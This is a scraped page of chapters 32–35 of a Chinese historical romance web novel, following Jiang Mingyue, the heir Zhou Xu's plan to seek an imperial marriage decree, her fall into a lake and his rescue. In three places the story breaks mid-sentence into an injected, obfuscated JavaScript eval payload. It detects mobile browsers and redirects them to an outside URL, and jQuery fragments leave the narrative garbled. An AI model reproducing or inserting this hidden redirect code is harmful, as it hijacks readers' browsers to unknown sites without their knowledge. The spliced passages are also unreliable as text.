可无论她怎么说,姜明月都没有答应她。最后张锦青泄了气,只得蔫蔫地回了房。 “姑娘,表姑娘答应了吗?” 等张锦青回到房中,一小丫鬟上前一边替她倒茶,一边问道。 “没有。”张锦青无精打采,“早知道,你还不如不让我知道这事呢。现在知道了,又去不了……” 小丫鬟手上的动作一顿,喃喃道:“表姑娘没答应啊。” “行了,你下去吧。” 张锦青的奶嬷嬷朝她挥了挥手。本想着这小丫鬟虽然是新来的,可是有几分机灵劲,才让她在姑娘身边服侍。谁知道她给姑娘出的主意不成,让姑娘这么不高兴。 “姑娘,没事的。待会你去求求夫人,跟老夫人撒个娇,说不定就能去呢。” 张锦青听她这么说,才重新恢复了兴致。 “我这就去与祖母说去!” 出乎意料的,尚书夫人犹豫片刻,想到女儿与武昌候府的关系,并未阻拦张锦青。 她年纪小,出去凑个热闹也无妨。只是尚书夫人叮嘱长孙张文盛,一定要看好她。 周诩回京那一天,张锦青欢欢喜喜地随着兄长出了门。 姜明月坐在房中,听到外面有鼓乐之声。 江嬷嬷从外面走进来,见姜明月拿着针线没动,像是在留神听着外面的动静,忍不住唤了一声:“姑娘……” 姜明月对她笑笑,“想来,是世子今日回京了。” 她听了一会,便没了兴趣,重新捡起针线做了起来。 等到午后,果然就见张锦青一脸兴奋地跑了过来。 “表姐,你没去可真是太可惜了。街上可热闹了!圣上坐在轿辇中,一堆人围着,我没看清。可那武昌候世子我看得可清楚了!” 张锦青觉得那世子可真威风!骑着马,身披金甲,外面罩着圣上亲自披上的锦袍,与其他几位将军一起,丝毫不逊色。 姜明月听她说着,双唇抿起。 他如此威风,哪里像是受了伤的人呢? 本以为这样便不用见他,谁成想,没过几日,张氏便派车来接她去武昌侯府了。 周诩不负皇命,平安回京,武昌侯府自然摆了宴席替他接风洗尘。而张氏之前说过要答谢他,姜明月作为当事人,便不可能不去。 一早便知道有这一日。姜明月虽然不愿意,却并没有太意外。 等到了武昌侯府,姜明月才发现侯府中今日热闹非凡,来往的皆是皇亲国戚,高官显贵,像她这般的,在人群中轻易不会被人注意。 松了口气,姜明月站在一旁,等张氏的人来接自己。 等了一会,就见一眼生的嬷嬷走了过来。 她来到姜明月面前,露出笑容,“是夫人娘家的表姑娘吗?您久等了。请跟老奴来吧。” 除了李嬷嬷,张氏身边其他的仆妇姜明月都不认识。听她这么说,姜明月不疑有他,点了点头,跟着这嬷嬷朝侯府中走去。 她们一行人并没有引起旁人的注意。姜明月跟着她穿过回廊,来到一个院子中。那嬷嬷将她领到正房门前,朝她福了福身。 “姑娘先在这休息便可。” 姜明月见这院子偏僻,院中也没有其他下人,不免心中有些疑惑。 尽管这嬷嬷生的亲切,举止又无比得体,可毕竟是在陌生的侯府,她不敢大意,小心翼翼地推开门,朝里面看去。 下一秒,姜明月的步子定住。 电光火石间,她转身就想走。 32. 娶她 然而她刚一动,有人却比她动作更快。 还不等她反应过来,她的肩头便被擒住,熟悉的气息笼罩了上来,眨眼间和眼前的人换了位置。 周诩松开她,姜明月像是还没回过神,愣愣地看着他。 绕是今日摆宴,他身为主人公,也只是一身青色的锦袍。他唇边噙着笑,依旧是清风霁月,矜贵无比,可姜明月瞧着,却觉得他的脸色并不太好,眉宇间隐隐透着郁气。 几个月未见,原本模糊的记忆重新变得清晰。姜明月深吸一口气,让自己垂眼不再看他,刚迈步想从他身边走过,却被他拦住。 姜明月被他按在圈椅上,他半蹲下来,圈住了她。 姜明月咬着下唇,甩开他的手,红着眼望向他。 “世子这是做什么?难道还想继续折辱我吗?” 周诩一顿,收回手。他自己不会忽略姜明月对自己称呼的变化,可此刻他也顾不了许多。待他再次抬眸朝姜明月看来时,眼中已是清明一片。 他蹙眉,定定地看着她,“我从未想过折辱你。” “没有想过?”良久,姜明月笑了一声,“那世子可是忘了自己都做了什么?” 周诩沉吟着,许久才道:“想来你都知道了……的确,当初是侯夫人让我去找你,而我也认出了你,却未曾告诉你实情,无论如何都是我不对。” “既如此,世子现在又想做什么呢?难不成,是想赔礼道歉?” “是。”出乎意料的,骄傲如周诩,会这么直接地应下。他像是听不懂姜明月话中的讽刺,接着道:“只是,我不求你原谅我,却也不希望你误会。我从来,都没有想过羞辱或是利用你。” 他眸色更沉,“见你之时,我便动了念头。若非如此做,只怕你便会离开……” 姜明月一愣,盈盈的杏眼睁圆了。她怎么也没想到,会从周诩这里听到这么一番话。只是她理智尚存,闻言反倒觉得有几分好笑。他凭什么觉得这么做,自己才不会离开?说到底,他不也就是为了一己之私吗? “好,我知道了。我不会误会世子了。我可以走了吗?” 姜明月想要站起身,可周诩却没有让步。见他如此,姜明月再也忍不住,“世子与我说这些,接下来是想要纳我为妾,还是为了名声,继续让我做你的外室?” 姜明月只觉得那股身不由己的无力感再次涌上心头。以他的手段,像她这种连个光明正大的身份都没有的人,又能怎么办。或许从一开始,她的命运便是全部掌握在这人手中的。 她眨了眨眼,感到眼中再也盛不下那些泪水,只能任由它们一滴一滴顺着脸颊滑落,滴在手上。 周诩看着她的眼泪,沉默了,心中第一次升起悔意。 最开始时,不管是为名还是为利,他都许不了她做正妻。而她身为侯夫人的外甥女——如今知道,是亲女——更不可能做人妾室。可是他放不下,只觉得不然就先将她困在自己身边,只要得到了她的心,那之后再如何,都容易了吧。 可见到如今这幅情景,他却觉得毫无意义。 他恍然发现,原来不是自己得到了她的心,而是她得到了自己的心。 周诩站起身,不再让自己去看她那双仿佛失了生气的眸子。既然她得到了自己的心,那他更不可能放过她。 这些日子他想了许多。姜明月不愿见他,他也没什么立场责怪她。只是他看得出来,她并不是完全厌恶他。之前是他不懂,没有想明白,平白让自己差一点就得到的真心化为乌有。可如今他想清楚了,只要自己对她全心全意,五年,十年,难道还不行吗? “并非如此。我与你说这些,是因为我已向圣上求旨,将你嫁与我为妻。” 什么? 姜明月难以置信地看向他。 “这次出使,本就是我求来的。若是我不负皇命,活着回来了,我不要其他赏赐,只求赐婚。” 姜明月抿着唇,一时间五味杂陈。 若是过去,她定会无比欣喜,可如今,她却不知道自己是什么心情了。 “世子……你可有问过我愿不愿意?” 周诩皱了皱眉,“你不愿?” 为何不愿?从前她不过是介意身份,介意自己隐瞒,如今他已经做好了打算,安排好了一切,只为娶她,从此能光明正大与她在一起,她又为何不愿? 莫非她不愿,便能抗旨吗?姜明月看着他,心中却莫名地平静了下来,一瞬间也放弃了无谓的挣扎。从头到尾,她从来都没有选择的机会。横竖都与周诩纠缠不清了,与其做外室,只能依附着他,做世子夫人,不是强了百倍? 何况,这侯府中,她的母亲是侯夫人,又是继夫人,没有婆媳矛盾,也不用管家。这么想来,也没什么不好。 垂下眼,姜明月扯了扯嘴角,轻言浅笑,声音还有些沙哑,“世子愿意对我好,我自然没有不愿。” 闻言,周诩也露出笑容,看着风轻云淡,却连他自己也没意识到,方才他心中也不由自主地松了口气。 “你放心,我都安排好了。为了你的名声着想,圣上暂时不会赐婚。等一切都妥当了,我再去请旨。” 二人此刻明面上并无交集,只是八杆子打不着的表兄妹。若是圣上突然赐婚,众人便会以为姜明月与自己有私情。况且,他还有与他议亲的户部尚书府没有解决。 桃花眼微眯,周诩心中盘算着,面上不显。见姜明月胡乱用手背抹去眼泪,他从怀中取出帕子递了过去。 姜明月一顿,还是接过了那帕子。 “多谢世子。”她犹豫着,又接着道,“既然要避嫌,世子可否把我之前送的帕子还给我?” “……自然不行。” 他不肯,姜明月也不意外,无所谓地点点头,“那便请世子好生保管。” 她站起身,“现在我可以走了吗?我……姨母还在等我。” 周诩张了张口,姜明月看着还如往常一样,只是他却怎么也说不出什么话留住她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13996930|145279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只得向一旁退开。 姜明月也不再多言,对他笑了笑,转身推开房门,走了出去。 方才那嬷嬷正与面带急色的红袖站在不远处。见姜明月出来了,红袖连忙跑上前,见她无事才松了口气。而那嬷嬷也走了过来,有些歉意地看着她。 “表姑娘……” “无事,嬷嬷重新为我带路吧。” 这次没有再出意外,姜明月顺利地见到了张氏。 “明月,你可算来了。” 张氏刚接待完几位女眷。见到姜明月,她显然很高兴,笑着拉住她。 “你先休息一会,等晚上家宴时再与世子道谢便是。” 见她的样子,似乎还不知道周诩的决定。 姜明月心不在焉地点了点头,随着张氏进了内室。 等她再见到周诩时,已是黄昏时分。 他依旧是一袭青色,只是在烛火的照映下,无端添了几分清贵与高不可攀。 就算自己起身与他道谢时,他的目光也并未落在她的身上,只是客气地让她不必在意,似乎对她毫不在意。 姜明月咬了咬唇,却也同时松了口气。 然而她没发现,在她垂下头后,周诩与武昌侯说着话,端起酒杯,目光却落到了她身上。 他坐在女眷的对面。于是他很快便注意到,除了他以外,还有一个人也正盯着姜明月。 周蓉莺望着这位表姑娘的身影,心中却升起疑惑。 不知为何,她看这表姑娘,却有些眼熟…… 她看了看姜明月,又忍不住转头去看自己的兄长。然而周诩正在与旁人说话,完全没有朝女眷这边看。 尽管周蓉莺心中有许多猜测,可她如今已经有了教训,不敢随便说话了,尤其是关于自己兄长的事。 她咬了咬牙,将种种想法压了下去,只专心用膳。 夜色渐深,酒过三巡,李嬷嬷忽然走了进来,凑到张氏身边耳语。 张氏一愣,有些惊讶,不过转而她又露出了欣慰的表情。她点点头,算是同意了。左右姜明月已经谢过了周诩,一个无足轻重的表姑娘,提前离席也没什么不妥。 李嬷嬷得了她的首肯,又转身来到姜明月身边。姜明月听她说完,没有犹豫,起身与老夫人告罪,之后便跟着李嬷嬷走了出去。 虽然隔得远,可她却头也不回地走了。一直默默注视着她的周诩桃花眼微眯,将酒杯中的酒一饮而尽。 尽管宴席上还有丝竹之声,可他还是清晰地听到了张氏的话。 “是我娘家的侄子,说是见天色已晚,老太太也不放心明月,又不想给侯府添麻烦,才派了他在外面等着。他在外面等了一会了,门房这才来报,还望母亲别怪罪他不懂礼。” “世子爽快!”三老爷醉醺醺地端着酒杯,还想给周诩满上,“来来来,再喝一杯。” 周诩将酒杯放下,笑容不变,然而说出来的话却透着冷意。 “一杯够了吧,三叔。” 33. 落水 姜明月自然不知道周诩心中所想。她喝了几杯酒,刚好有些晕。听到自己可以提前离席,她松了口气,起身便跟着李嬷嬷走了出去。 门口果然站着张文盛。正如他所说,尚书夫人不放心姜明月,才派了他来。 “劳烦表哥了。” 知道外祖母是对自己一片爱护之心,姜明月心里涌起一阵暖流。 等回到尚书府时,尚书夫人还未歇下。她松了发髻,穿着柔软的寝衣,温暖的烛火下,她见到姜明月,露出了慈爱的笑容。 “明月回来了。今日去侯府怎么样?” 姜明月望着她,张了张嘴,却不知道怎么开口。她索性放弃,只依偎进尚书夫人温暖的怀中。 尚书夫人被她稚儿撒娇般的动作逗笑了,摸着她的长发,柔声道:“累了吧,不如今日就在外祖母这睡吧。” 张尚书年纪大了,加上一大早还要上值,便都在前院歇息。 等姜明月洗漱完,在床榻上躺了下来,有丫鬟将床帐放下,熄了蜡烛。 尚书夫人见她还睁着眼,以为她睡不着,便一下一下轻拍着她的背,“睡吧。等休息好了,过几日才好与锦青一同去游船呢。” “嗯。外祖母也休息吧。” 外面下人窸窣的动静也渐渐停了,睡意袭来,姜明月再也无法思考,最后沉沉睡去。 武昌侯府的宴席却直到深夜才结束。 两个小丫鬟拿着扫帚正在洒扫。因为主子们都在后院,她们为了不冲撞,只在前院打扫。 “哎,我跟你说,我刚才在门房,刚好看到了夫人娘家的表少爷。” “是吗?你运气真不错。快说,那表少爷生的怎么样?” “一表人材,芝兰玉树,还有什么词来着?反正你看夫人不久知道了吗……” 两个小丫鬟凑在一起笑了起来。不远处的随安听见一旁的世子嗤笑了一声,他强忍着,不敢抬头去看世子的表情。 周诩静静站着,桃花眼中是化不开的阴郁。许久,他才开口。 “周谚什么时候休沐?” 随安一愣,不知周诩为何突然这么问。周谚是四老爷的儿子,不过七岁的年纪,平日都要去书院读书。他回忆了片刻,才道:“想来谚少爷这几天就回来了……” 周诩颔首,没再说话。 随安不明所以,直到几天后,他才恍然大悟。 这几日京城十分炎热,尽管有钱人家都用上了冰,却还是抵不住那股闷热。尚书夫人也知小辈们耐不住热,于是在张锦青来问能不能去游船时便十分爽快地答应了。 因大房的孙辈与二房不亲,于是张锦青只拉上了自己的长兄长姊以及姜明月。 “做什么非拉上我?”张凝画前不久刚定了人家,整日里忙着备嫁。 张锦青眼睛睁圆了,控诉地望着她,“阿姐你马上就要嫁人了,难道你不想多与我们相处吗?” 张凝画脸忍不住红了起来,她咳了一声,“我不是这个意思……” “你肯定只想着姐夫了。” “让你乱说!” 姜明月缩在马车一角,不让她们的战火危及自己。望着张凝画脸上藏不住的幸福之色,姜明月不由得被她感染,心中也替她高兴起来。 可是除了高兴,不知为何,她心中也升起了淡淡的茫然。 等到了湖边,丫鬟帮她们重新整理了衣服,才让她们下车。 清风从湖上吹来,湖中的荷花开了一片片。府中下人早就准备好了游船。除了他们,远远的,能看见湖上已经有了其他的游船。 张文盛率先上了游船,他转身,正要扶几位妹妹上船时,忽然望见了不远处,隔壁游船的一行人。 年纪不大的男童不知是哪家的小少爷,挺着胸膛,仰着脸,正回身同身后的年轻公子说话。那年轻公子却是张文盛认识的人。他一身月白色,宽大的袍服由一条玉带束起,身姿修长挺拔,正是武昌侯世子。 他有些意外,没想到会在这里碰到武昌侯府的人。 既然两家有着姻亲关系,便不能装作没看见。 “周世子!前面是周世子吗?” 听到张文盛的话,姜明月一怔,没想到会在这里碰到他。她下意识转头看去,然而周诩只随意地朝她们看了一眼,目光并未停留,只望向张文盛。 “张公子,”他勾唇,“好巧。” 因着还有女眷在,张文盛也不再多说什么,只笑着朝他拱手,算是见了礼。 他继续朝姜明月伸出手,“表妹,上来吧。” “多谢表哥。” 转过脸,姜明月抿唇不好意思地笑了笑,扶住张文盛的手臂,上了船。 今日她穿了一身藕粉色的裙子,和一身青衫的张文盛站在一起,倒是无比和谐。 周诩笑容不变,目光直直落在二人身上,沉默不语。 “大哥,那是谁?” 周谚见自家兄长站着半晌不动,整个人都变得有些奇怪,忍不住拉了拉他。 “府上姻亲罢了。” 周诩声音淡淡,转身进了游船。 “走吧。” 周谚听出他语气中透着凉意,自然也不再对张文盛上心。 “走!快叫船夫开船!” 周谚又兴奋起来。他向来崇拜周诩这位兄长,整日喊着要同他一起出门。这次也是好不容易才让周诩答应了他。 湖面波光粼粼,船驶过荷花丛中时,便能闻到荷花淡淡的清香。 “表姐,咱们等下带几支荷花荷叶回去吧。在岸边应该能寻到养这些荷花的农家,到时候我们自己挑了,他们能帮着摘呢。” “真的吗?” 姜明月也露出了期待,兴致勃勃地同张锦青讨论起这些荷花该怎么做吃食。 张凝画见这两个姑娘凑在一起研究吃食,颇有辣手摧花的意思,不免有些无奈。 张锦青雷厉风行。拿定了主意,她便让船夫在一片荷花丛旁将船靠了岸,自己与姜明月下了船。 丫鬟去找农家问价,姜明月与张锦青站在岸边,挑了起来。 盛夏时节,荷花开得正艳。姜明月不知不觉走得远了。她正挑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009872|145279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着,忽然余光中出现了一角男人的衣袍。 她一愣,连忙站直了身子。 陌生男子直勾勾地盯着她,上下打量了一番,露出笑容。 他故作风流地上前一步,将手中的折扇打开。 “这位可是表姑娘?” 姜明月皱了皱眉。她并不认识眼前的人,不知道他从何得知了自己的身份。 “在下贾长生。二夫人,也就是姑娘的二舅母,是我的姑母。” 贾长生身后跟着一个不起眼的小丫鬟,正是二夫人指给他认出姜明月的。 原本听姑母说起这桩婚事,他还不是很乐意。虽然贾家现在败落不如从前了,可当年也是一方大员。贾长生更是含着金汤匙出生的人,模样才学都不是很差,怎么说也该娶个正经的官家小姐,这表姑娘算怎么回事? 然而今日一见,这表姑娘生的如此貌美,光是见这模样,他就愿意了一半。更何况,姑母同他说过,这表姑娘的嫁妆也不会少。 他心中愿意了,看着姜明月的目光便像是看着自己的东西。眼下这片荷叶长得茂盛,她身边的人又没跟着,此时不动手做实两人的关系,更待何时? 想到这,贾长生又往前走了几步,“表姑娘……” 他想来拉姜明月的手。姜明月一惊,连忙后退几步,侧身躲开。 “原来是贾公子。湖边风光秀丽,贾公子慢慢欣赏。我先走了,怕表哥等急了。” 姜明月不欲多待,特意点出张文盛就在附近,希望贾长生知难而退。 殊不知贾长生巴不得事情闹大。见他还要上前,姜明月暗道不好。她也顾不得其他,转身就要走。谁知贾长生竟然直接伸出手来抓她。 在他的手刚碰到自己,还没来得及抓紧时,姜明月便猛地一使劲,挣脱了他。 可她忘了,这是在湖边。泥地本就湿滑,她这么心急一用力,根本就站不稳。 游船上,张文盛与张凝画还在等两位妹妹。 张文盛见张凝画正倚在窗边,便对她道:“凝画,你等下也去挑两支吧。” “别了,我不凑这个热闹。” 见兄长目光温柔,张凝画想到自己明年就不能再与他们一起出游,不禁眼眶微红。 然而就在这时,湖边突然传来了一声响动。 二人脸色一变,纷纷站了起来,就听张锦青的声音传了过来。 “表姐!愣着做什么,救人啊!” 姜明月落水时,她自己也没反应过来。 贾长生早就被这动静吓了一跳,听到张锦青的声音,他什么也想不起来了,拔腿就跑。 等到眼前被冰冷的湖水覆盖时,姜明月才回过神,拼命挣扎起来。 她生在江南,虽然算不上精通,却也是会水的。谁知她的衣裙不知道被什么东西缠住,无论她如何努力,都挣脱不了。 耳边隐约传来了张锦青的呼救声。姜明月心中一松,只要再坚持一会,等人来救自己就好。 就在她逐渐失去意识时,眼前闪过一道月白色的影子,紧接着,有人托住了她。 34. 躲藏 感受到有热源靠近,姜明月顾不得其他,只能紧紧抱住他,直到二人从水中出来。 姜明月的衣裙本就轻薄,眼下更是贴在了她身上,连里面小衫的带子都看得清清楚楚。周诩移开眼,将自己的外袍披到她身上。 张文盛几人赶到时,就见姜明月被丫鬟婆子围住,周诩半蹲在一旁,浑身湿透,长发滴着水,贴在脸侧。眼睫上还沾着水珠,却丝毫不减他双眸中的凛冽。 张文盛看了一眼自家表妹,确定她没有生命危险,只是还没清醒后,躬身对周诩深施一礼。 “多谢世子出手相救。” “不必。”他随意地将头上缠着枯叶取下。 张文盛还有些后怕,“若非世子,表妹今日……多谢世子,改日在下定会登门道谢。” 周诩一顿,抬眼看向张文盛,“张公子何出此言?” 他桃花眼眯起,慢条斯理地道:“毕竟,若是论起来,我也是姜姑娘的表兄。” 张文盛像是还没反应过来,然而周诩不等他再开口,已然站起身,“送表姑娘回去吧。” 一语点醒梦中人。张文盛不再耽搁,兄妹三人连忙唤了人,与姜明月一同回府。 周诩站在原地,望着他们的背影,许久后才道:“刚才跑走那人,是那二夫人的侄子?” 随安上前,低声道:“正是。” “找人告诉他——”正说着,周诩忽然咳了起来。 “世子,是不是旧疾又复发了?” 随安见他脸色发白,忍不住问道,“要不要叫医官再来看看?” 深吸一口气,周诩颔首。 “先走吧。” 出了这事,周谚也没有再吵闹着要玩耍,乖乖地跟着周诩回了武昌侯府。 刚到府中,周诩还来不及换了湿袍子,就见管家一脸为难地站在门口。 见他来了,管家连忙上前,“世子,侯爷要见您。” 随安皱了皱眉,“可世子还未更衣……” “侯爷说,要世子立刻去书房见他。” 他知道当务之急,应该是让世子先去更衣,可侯爷的脸色看起来十分不好,也正因如此,他才会感到为难。 周诩思索片刻,心中明了。 他叹了口气,“无事,我先去见父亲就是。” 等到了书房前,还不等他走近,武昌侯的茶杯便砸了过来。 周诩停下脚步,面色平静,看着那茶杯落在他脚边,摔了个粉碎。 “我听说,你与吴大人说,要退亲?” “本也没有定亲,算不上退亲。” “你还敢狡辩!”武昌侯望着眼前的长子,只觉得失望透顶。他不知道周诩是得了什么失心疯,好端端的竟然要取消与户部尚书的亲事。 “父亲可知,圣上已经知晓我们欲与户部尚书联姻?”周诩抬起眼,冷冷地望着武昌侯,“这些年,我们侯府渐渐得势,您与礼部尚书有姻亲,祖母出身公府,我的外祖家镇守边关,如今又要和户部尚书联姻,你让圣上怎么想?” 至于自己与圣上坦白,请旨出使的事,周诩自然不会告诉武昌侯。他不怕武昌侯会发现。难不成,他还要去找圣上对峙? “圣上向来信任你我,何况我武昌侯府一直低调——” 武昌侯说着,却是一愣。 他忽然意识到,这次长子出使,圣上甚至亲迎,对侯府的封赏也不断,现在京中都知道武昌侯府风头正盛,哪里来的低调一说呢? 他后背一凉,不知不觉间,他居然忽略了这一点。 见他反应过来了,周诩微微勾唇,接着道:“如今,武昌侯府绝不可再与高门联姻。” 武昌侯沉吟。与其找一个有势力的姻亲,他自然更希望武昌侯府自己掌权。 “依你之见……” 站了许久,周诩脸色愈发苍白,只是一双桃花眼却亮的惊人,“实不相瞒,我已经有了人选,不知父亲意下如何。” 府中众人不知道武昌侯与世子都说了什么,只知道武昌侯后来沉着脸与世子走出书房,去祠堂请了家法。 姜明月彻底清醒时,窗外的天色灰蒙蒙一片,房中已经掌上了灯。 她挣扎着想要起身,一下子惊动了床边的红袖。 “姑娘!你终于醒了!”她看着十分惊喜,连忙伸手扶姜明月坐起来,“老太太守了你许久,方才去歇着了。” “让外祖母担心了……” 姜明月抿唇,心中对那罪魁祸首更是恼怒。 目光落到一旁的榻上放着的外袍上,姜明月忽然一愣。 红袖顺着她的视线看了过去,心下了然,小心翼翼地道:“姑娘……是世子救的你。” “哦。” 姜明月撇开脸,不再去看。 她自然记得,是周诩救了她。 无论她对周诩是什么想法,这次他救了自己,要说没有感激是假的。 只是,正因如此,她才觉得心中矛盾不已。 她想不通,索性不再去想。等晚上见到了尚书夫人,姜明月只把事情的起因经过与她讲了。 尚书夫人何等聪明。姜明月只说那贾长生自称是二舅母的娘家侄子,上来就要拉自己,可尚书夫人一下便想到了这其中的关窍。 若说二夫人没有掺合这件事,她是不信的。不然,那贾长生又怎么会认识明月? 费这么大劲,毁了明月清白又有何用?那就是打的她婚事的主意了。 尚书夫人冷笑一声,对这二儿媳十分失望。 可是说到明月的婚事,老太太又有些犯愁,不知道要给她找什么样的人家。 姜明月不知她心中所想。只不过老夫人替她相看的想法还不等实施,姜明月就病倒了。 这些日子发生了太多事,加上落水,尽管是夏日,她却也没能抵挡住病魔。这次比她之前淋雨着凉那次还要严重,姜明月躺在床上,时不时到了夜里就会发起高烧。 尽管众人看着心疼,却也只能等她慢慢休养。 红袖每日照顾她,会将外面发生的事也讲与她听,不让她太无趣,像是二夫人被尚书夫人罚了,而贾家人也被禁止登门。 红袖说得眉飞色舞,十分解气,然而她见姜明月脸又有些发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14020070|145279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红,知道她身体不舒服,便止了话头,准备让她休息一会。 她不知道的是,在她走后没多久,姜明月的房门却再次被推开。 姜明月再醒来时,只觉得有些口渴。迷迷糊糊间,她却见有人坐在床边,也不知来了多久。 眼前的情形格外眼熟,她也只能想起一人会这么做。 姜明月双颊通红,杏眼中也是雾蒙蒙的一片。她喃喃念了一声:“世子?” 这一声微不可闻,却还是被周诩听到了。他忍不住勾唇露出微笑,可见到姜明月这幅模样,他只觉得心中难受。 他倒了一杯茶,扶着她喝下。 等喝了茶,姜明月感觉清醒了不少。她看着周诩,有些好奇,“世子怎么来了?” 周诩一顿,“我……放心不下你。” “我无事。世子放心吧。” 就算她有事,周诩来了也没有用。 她说完,不再开口。二人之间一下子静了下来。周诩望着她,沉默着,不知在想什么。 许久,他才开口:“我已与父亲说明,过几日便会去请旨赐婚。” 至于自己与户部尚书之间的事,还是不要让她知道了。 姜明月一愣,没想到他说的请旨,会这么快。她不知该怎么反应,迟疑着点了点头。 可是,她应该欣喜的吧?至少周诩说话算话,至少说明,他对自己或许是有真心的,不然也不会如此大费周折。 但是这一切都建立在,自己渴望他的真心之上。 她喜欢周诩吗? 姜明月有些茫然。 说没有动过心,是不可能的。 不管出于什么目的,周诩骗了她。因为他的私心,她成了他的外室。她提心吊胆的那些日子并非可以轻描淡写一笔带过的。 可又正是因为周诩的私心,她才逃离了花楼。与周诩相处的那些朝夕,也并非全都是不好的回忆。 但是现在想这些又有什么用?他要她嫁,她嫁就是了。更何况是圣上赐的婚,就算是将来周诩后悔,也不能随意休弃,自己再与他和离就行。 这么一想,姜明月坦然了许多。 周诩一直注视着她脸上的表情。见她只是有些意外,之后点了点头表示自己知道了,周诩的心一点点沉了下去。 他正要说话,忽然门外传来了尚书夫人的声音。 “明月醒了吗?我来看看她。” “姑娘睡了许久,想必现在该醒了,容奴婢去看看。” 姜明月一惊,若进来的是红袖还好解释,可那声音分明就是外祖母派给她的另外一个丫鬟紫衣的声音。 这要是被外祖母发现周诩在自己房中算怎么回事? “世子,来人了,你快藏起来。” 然而周诩却不怎么配合,“我本来就要去请旨了,她早晚也要知道的。” “别说了。”姜明月瞪着他。 周诩也只是这么一说罢了。他会轻功,本来准备躲到梁上的,却没想到姜明月不会武功想不到这一点,情急之下,掀起了被子。 “世子,你千万别出声。” 35. 赐婚 周诩平生从未做过这样躲藏的事。然而他只迟疑了一瞬,便翻身上了床。 平日里只有她一人还不觉得有什么,等周诩上了床榻,姜明月才觉得这床无比狭小拥挤。如她所愿,周诩尽量蜷缩起身子,可这也导致她的侧身几乎是紧贴着他的前胸。 姜明月僵直了身子,一动不敢动。 门被推开,紫衣走了进来。为了不让阳光刺眼,红袖走之前将床幔放了下来。紫衣进门时带进了微风,床幔被吹动,微微起伏,却看不清其中的情形。 紫衣没有多想,站在床帐外轻声唤道:“姑娘?姑娘您醒了吗?” 隔着帐子,紫衣只能隐约看见床上的隆起。她将帐子掀起一条缝,看见姜明月侧躺着,被子盖在脖颈之上,只露出一张脸。 姜明月只觉得自己后颈之处贴着他的鼻息,烫的仿佛要烧起来了。周诩似乎发现了她的不安,为了安抚她,被衾下伸手握住了她的手臂。 若是有光,紫衣便能看清姜明月脸上不自然的红晕和微微颤抖的睫毛。幸好她见姜明月在熟睡中,不敢打扰,很快便将帐子放下,走了出去。 关门声响起,门外传来了说话声,很快又恢复了平静。 姜明月松了一口气。她猛地将被子掀开,试图减轻身上的热意。 周诩也顺势坐了起来。方才为了藏在被子里,他的长发有些散乱,衣服也变得松松垮垮。他盘腿坐在床上,桃花眼潋滟望着她,旖旎之色在床幔之中弥漫开来。 姜明月双颊绯红,眼中雾蒙蒙一片,似乎有些失神。就在周诩以为她是心软了的时候,就听姜明月长舒了口气。 “行了,世子你赶紧走吧。” “……那我走了。” 周诩咬了咬牙,找不到其他理由多待,只得故作淡然,重新理了理领口,下了床。 他出了姜明月的院子,刚要回侯府,忽然听到墙角下有人在说话。 “少爷,表姑娘病着,您若是能去关心一下她,她定会感动到不行。” “好好的怎么病了。”张文琰摇了摇头,只觉得去书院这些天错过了许多,“可她在祖母院子里,我没有借口去啊。” “要不您给她写封信,表达一下您的关心。” “这主意好……” 周诩听着,冷笑了一声。 刚才去,也不见她有多少感动。 只是没想到,她竟然还有这么多关心她的表哥。 没想到周诩听见张文琰接着道:“若是能将她约出来就好了。哼,听说母亲想让贾长生娶她?那个废物,母亲都那么帮他了,还是连个女子都搞不定。要是换我的话……” 周诩挑眉,目光却越来越冷。 等他走后,姜明月的心才总算平静下来。等平静下来,她却又忍不住想起周诩说,这几天便要去请旨。 他真的能请到圣旨吗? 姜明月虽然有疑惑,可还是很快就将这事抛到一边,因为府中不久又出了一件大事。 原本被关在院子里的二夫人,不知从哪得了消息,疯了似的哭哭啼啼冲到了尚书夫人的院子里,喊着要让婆婆给自己做主。 尚书夫人吓了一跳。她压着怒意,让二夫人先进房中将事情说清楚。 “母亲,我也是没办法……您不知道,琰哥儿和我娘家侄子长生打起来了……” 尚书夫人一听到她娘家的事脸就沉下来了。 “你娘家的事,与我说有什么用?” “母亲你可知,他二人为什么会打起来?”二夫人声音带恨,“都是因为那表姑娘!” 尚书夫人不可思议地望着她,不明白她为什么会说出这种话。 “若非她勾引——” 她的话还没说完,尚书夫人已然知道她想说什么了,蓦地沉下脸。 “给我掌嘴!” 有嬷嬷上前,一巴掌打断了二夫人要说出的话。 “你怎么会这么是非不分,心肠歹毒?” 她转头望向二夫人身边的丫鬟,“你来说!” 